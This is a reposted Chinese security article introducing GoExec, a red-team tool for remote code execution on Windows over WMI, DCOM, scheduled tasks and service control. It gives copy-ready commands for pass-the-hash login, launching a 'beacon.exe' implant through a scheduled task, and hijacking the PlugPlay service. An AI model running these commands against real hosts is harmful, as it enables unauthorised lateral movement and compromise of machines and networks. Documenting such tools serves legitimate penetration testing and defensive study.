红队福音:GoExec实现多种Windows远程代码执行方法

admin 2026-03-06 18:44:30 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: GoExec是一款Go语言编写的Windows远程执行多合一工具,支持WMI、DCOM、SCMR和TSCH协议。该工具提供多种认证方式如NT哈希和Kerberos,具备输出捕获与代理支持功能,显著提升了操作安全性。文章详细介绍了各模块功能与使用示例,并指出需注意OPSEC风险及权限要求,适用于授权的安全研究与红队演练。 综合评分: 84 文章分类: 安全工具,红队,内网渗透


cover_image

红队福音:GoExec实现多种Windows远程代码执行方法

柠檬赏金猎人

2026年3月6日 08:17 广东

概述

GoExec是一款用Go语言编写的Windows远程执行多合一工具,它实现了多种远程执行方法,并对操作安全性(OPSEC)进行了显著改进。该工具支持WMI、DCOM、SCMR和TSCH等多种协议,为安全研究人员和红队人员提供了灵活且隐蔽的远程代码执行能力。

技术/功能

GoExec的核心功能模块如下:

| 模块名称 | 主要功能 | 关键特性 | | — | — | — | | WMI模块 | 通过Windows管理规范远程执行 | 支持进程创建和自定义方法调用 | | DCOM模块 | 利用分布式组件对象模型执行 | 支持MMC、ShellWindows、Excel等多种对象 | | TSCH模块 | 通过任务计划程序服务执行 | 支持创建、修改和即时启动任务 | | SCMR模块 | 通过服务控制管理器执行 | 支持创建、修改和删除服务 |

主要特性:

  • 支持多种认证方式:密码、NT哈希、Kerberos、证书等
  • 可选的执行输出捕获功能(通过SMB传输)
  • 支持代理和自定义RPC端点
  • 提供详细的调试和日志记录选项

使用示例

1. 使用WMI模块执行命令

# 使用NT哈希认证,执行whoami命令并获取输出
goexec wmi proc "192.168.1.100" \
  -u "administrator@domain" \
  -H "aad3b435b51404eeaad3b435b51404ee" \
  -e "cmd.exe" \
  -a "/C whoami /all" \
  -o-

2. 使用DCOM的MMC方法

# 执行系统命令并保存输出到文件
goexec dcom mmc "target-host" \
  -u "admin" \
  -p "Password123" \
  -e "cmd.exe" \
  -a "/c systeminfo" \
  -o ./systeminfo.txt

3. 使用任务计划程序模块

# 创建定时任务执行程序
goexec tsch create "192.168.1.50" \
  -u "user@domain" \
  -p "password" \
  --kerberos \
  --task "\\Microsoft\\Windows\\GoExec" \
  --exec "C:\\Windows\\Temp\\beacon.exe"

4. 修改现有服务执行命令

# 修改PlugPlay服务执行自定义命令
goexec scmr change "target" \
  -u "administrator" \
  -p "AdminPass123" \
  -s "PlugPlay" \
  -f "C:\\Windows\\System32\\cmd.exe" \
  -a "/c echo Hello > C:\\test.txt"

注意事项

  1. 合法使用:仅限授权测试和合法安全研究使用
  2. OPSEC考虑:输出捕获功能会在目标系统创建临时文件,可能被安全软件检测
  3. DCOM限制:DCOM模块在某些Windows版本上可能不稳定,且不支持Kerberos认证
  4. 服务修改风险:修改关键Windows服务可能导致系统不稳定
  5. 时间同步:TSCH模块需要目标系统时间同步准确
  6. 权限要求:大多数方法需要管理员权限才能成功执行

参考链接

  • https://github.com/FalconOpsLLC/goexec
  • https://www.falconops.com/blog/introducing-goexec
  • https://learn.microsoft.com/en-us/openspecs/windows_protocols/ms-tsch/

仅限交流学习使用,如您在使用本工具或代码的过程中存在任何非法行为,您需自行承担相应后果,我们将不承担任何法律及连带责任。如侵权请私聊公众号删文。


免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:柠檬赏金猎人 《红队福音:GoExec实现多种Windows远程代码执行方法》

评论:0   参与:  0